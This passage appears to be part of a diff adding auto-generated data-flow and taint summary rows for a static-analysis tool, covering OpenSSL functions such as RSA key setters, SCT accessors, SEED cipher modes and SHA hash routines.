"taint", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**dmp1]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*2].Field[*flags]", "Argument[*0].Field[**dmq1].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**dmq1]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*3].Field[*flags]", "Argument[*0].Field[**iqmp].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*3]", "Argument[*0].Field[**iqmp]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*dmp1]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*dmq1]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_crt_params", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[3]", "Argument[*0].Field[*iqmp]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_factors", "(RSA *,BIGNUM *,BIGNUM *)", "", "Argument[*1].Field[*flags]", "Argument[*0].Field[**p].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "RSA_set0_factors", "(RSA *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**p]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_factors", "(RSA *,BIGNUM *,BIGNUM *)", "", "Argument[*2].Field[*flags]", "Argument[*0].Field[**q].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "RSA_set0_factors", "(RSA *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**q]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_factors", "(RSA *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*p]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_factors", "(RSA *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*q]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_key", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**n]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_key", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**e]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_key", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*3].Field[*flags]", "Argument[*0].Field[**d].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "RSA_set0_key", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*3]", "Argument[*0].Field[**d]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_key", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*n]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_key", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*e]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_key", "(RSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[3]", "Argument[*0].Field[*d]", "value", "dfc-generated"] + - ["", "", True, "RSA_set0_multi_prime_params", "(RSA *,BIGNUM *[],BIGNUM *[],BIGNUM *[],int)", "", "Argument[4]", "Argument[*0].Field[**prime_infos].Field[*num_alloc]", "taint", "dfc-generated"] + - ["", "", True, "RSA_set_flags", "(RSA *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "RSA_set_method", "(RSA *,const RSA_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "RSA_set_method", "(RSA *,const RSA_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "RSA_setup_blinding", "(RSA *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "RSA_setup_blinding", "(RSA *,BN_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSA_setup_blinding", "(RSA *,BN_CTX *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "RSA_size", "(const RSA *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "RSA_test_flags", "(const RSA *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_test_flags", "(const RSA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "RSA_verify_PKCS1_PSS_mgf1", "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int)", "", "Argument[*0]", "Argument[5]", "taint", "df-generated"] + - ["", "", True, "RSA_verify_PKCS1_PSS_mgf1", "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int)", "", "Argument[*2]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "RSA_verify_PKCS1_PSS_mgf1", "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int)", "", "Argument[*2]", "Argument[5]", "taint", "df-generated"] + - ["", "", True, "RSA_verify_PKCS1_PSS_mgf1", "(RSA *,const unsigned char *,const EVP_MD *,const EVP_MD *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "SCRYPT_PARAMS_free", "(SCRYPT_PARAMS *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "SCRYPT_PARAMS_free", "(SCRYPT_PARAMS *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "SCT_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "SCT_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "SCT_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "SCT_CTX_new", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "SCT_CTX_set1_cert", "(SCT_CTX *,X509 *,X509 *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SCT_CTX_set1_cert", "(SCT_CTX *,X509 *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SCT_CTX_set1_cert", "(SCT_CTX *,X509 *,X509 *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SCT_CTX_set1_issuer_pubkey", "(SCT_CTX *,X509_PUBKEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SCT_CTX_set1_pubkey", "(SCT_CTX *,X509_PUBKEY *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "SCT_CTX_set1_pubkey", "(SCT_CTX *,X509_PUBKEY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SCT_CTX_set_time", "(SCT_CTX *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*epoch_time_in_ms]", "value", "dfc-generated"] + - ["", "", True, "SCT_get0_extensions", "(const SCT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SCT_get0_extensions", "(const SCT *,unsigned char **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SCT_get0_extensions", "(const SCT *,unsigned char **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SCT_get0_log_id", "(const SCT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SCT_get0_log_id", "(const SCT *,unsigned char **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SCT_get0_log_id", "(const SCT *,unsigned char **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SCT_get0_signature", "(const SCT *,unsigned char **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "SCT_get0_signature", "(const SCT *,unsigned char **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "SCT_get0_signature", "(const SCT *,unsigned char **)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "SCT_get_log_entry_type", "(const SCT *)", "", "Argument[*0].Field[*entry_type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SCT_get_source", "(const SCT *)", "", "Argument[*0].Field[*source]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SCT_get_timestamp", "(const SCT *)", "", "Argument[*0].Field[*timestamp]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SCT_get_validation_status", "(const SCT *)", "", "Argument[*0].Field[*validation_status]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SCT_get_version", "(const SCT *)", "", "Argument[*0].Field[*version]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SCT_is_complete", "(const SCT *)", "", "Argument[*0].Field[*sct]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SCT_new_from_base64", "(unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**log_id]", "taint", "dfc-generated"] + - ["", "", True, "SCT_new_from_base64", "(unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *)", "", "Argument[*4]", "ReturnValue[*].Field[**ext]", "taint", "dfc-generated"] + - ["", "", True, "SCT_new_from_base64", "(unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*version]", "value", "dfc-generated"] + - ["", "", True, "SCT_new_from_base64", "(unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**log_id]", "taint", "dfc-generated"] + - ["", "", True, "SCT_new_from_base64", "(unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*entry_type]", "value", "dfc-generated"] + - ["", "", True, "SCT_new_from_base64", "(unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[*timestamp]", "value", "dfc-generated"] + - ["", "", True, "SCT_new_from_base64", "(unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[**ext]", "taint", "dfc-generated"] + - ["", "", True, "SCT_set0_extensions", "(SCT *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**ext]", "value", "dfc-generated"] + - ["", "", True, "SCT_set0_extensions", "(SCT *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*ext]", "value", "dfc-generated"] + - ["", "", True, "SCT_set0_extensions", "(SCT *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*ext_len]", "value", "dfc-generated"] + - ["", "", True, "SCT_set0_log_id", "(SCT *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**log_id]", "value", "dfc-generated"] + - ["", "", True, "SCT_set0_log_id", "(SCT *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*log_id]", "value", "dfc-generated"] + - ["", "", True, "SCT_set0_log_id", "(SCT *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*log_id_len]", "value", "dfc-generated"] + - ["", "", True, "SCT_set0_signature", "(SCT *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**sig]", "value", "dfc-generated"] + - ["", "", True, "SCT_set0_signature", "(SCT *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*sig]", "value", "dfc-generated"] + - ["", "", True, "SCT_set0_signature", "(SCT *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*sig_len]", "value", "dfc-generated"] + - ["", "", True, "SCT_set1_extensions", "(SCT *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**ext]", "value", "dfc-generated"] + - ["", "", True, "SCT_set1_extensions", "(SCT *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**ext]", "taint", "dfc-generated"] + - ["", "", True, "SCT_set1_extensions", "(SCT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*ext_len]", "value", "dfc-generated"] + - ["", "", True, "SCT_set1_log_id", "(SCT *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**log_id]", "value", "dfc-generated"] + - ["", "", True, "SCT_set1_log_id", "(SCT *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**log_id]", "taint", "dfc-generated"] + - ["", "", True, "SCT_set1_log_id", "(SCT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*log_id_len]", "value", "dfc-generated"] + - ["", "", True, "SCT_set1_signature", "(SCT *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**sig]", "value", "dfc-generated"] + - ["", "", True, "SCT_set1_signature", "(SCT *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**sig]", "taint", "dfc-generated"] + - ["", "", True, "SCT_set1_signature", "(SCT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*sig_len]", "value", "dfc-generated"] + - ["", "", True, "SCT_set_log_entry_type", "(SCT *,ct_log_entry_type_t)", "", "Argument[1]", "Argument[*0].Field[*entry_type]", "value", "dfc-generated"] + - ["", "", True, "SCT_set_source", "(SCT *,sct_source_t)", "", "Argument[1]", "Argument[*0].Field[*source]", "value", "dfc-generated"] + - ["", "", True, "SCT_set_timestamp", "(SCT *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*timestamp]", "value", "dfc-generated"] + - ["", "", True, "SCT_set_version", "(SCT *,sct_version_t)", "", "Argument[1]", "Argument[*0].Field[*version]", "value", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[*1]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[*4]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[1]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[*5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "SEED_decrypt", "(const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_decrypt", "(const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *)", "", "Argument[*2].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_decrypt", "(const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ecb_encrypt", "(const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ecb_encrypt", "(const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int)", "", "Argument[*2].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ecb_encrypt", "(const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_encrypt", "(const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_encrypt", "(const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *)", "", "Argument[*2].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_encrypt", "(const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "SEED_set_key", "(const unsigned char[16],SEED_KEY_SCHEDULE *)", "", "Argument[*0]", "Argument[*1].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "SEED_set_key", "(const unsigned char[16],SEED_KEY_SCHEDULE *)", "", "Argument[0]", "Argument[*1].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "SHA1", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SHA1", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SHA1_Final", "(unsigned char *,SHA_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA1_Update", "(SHA_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "SHA1_Update", "(SHA_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "SHA1_Update", "(SHA_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "SHA224", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SHA224", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SHA224_Final", "(unsigned char *,SHA256_CTX *)", "", "Argument[*1].Field[*h]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA224_Final", "(unsigned char *,SHA256_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA224_Update", "(SHA256_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "SHA224_Update", "(SHA256_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "SHA224_Update", "(SHA256_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "SHA256", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SHA256", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SHA256_Final", "(unsigned char *,SHA256_CTX *)", "", "Argument[*1].Field[*h]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA256_Final", "(unsigned char *,SHA256_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA256_Update", "(SHA256_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "SHA256_Update", "(SHA256_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "SHA256_Update", "(SHA256_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "SHA384", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SHA384", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SHA384_Final", "(unsigned char *,SHA512_CTX *)", "", "Argument[*1].Field[*h]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SHA384_Final", "(unsigned char *,SHA512_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA384_Update", "(SHA512_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "SHA384_Update", "(SHA512_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "SHA384_Update", "(SHA512_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "SHA512", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SHA512", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SHA512_Final", "(unsigned char *,SHA512_CTX *)", "", "Argument[*1].Field[*h]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SHA512_Final", "(unsigned char *,SHA512_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", 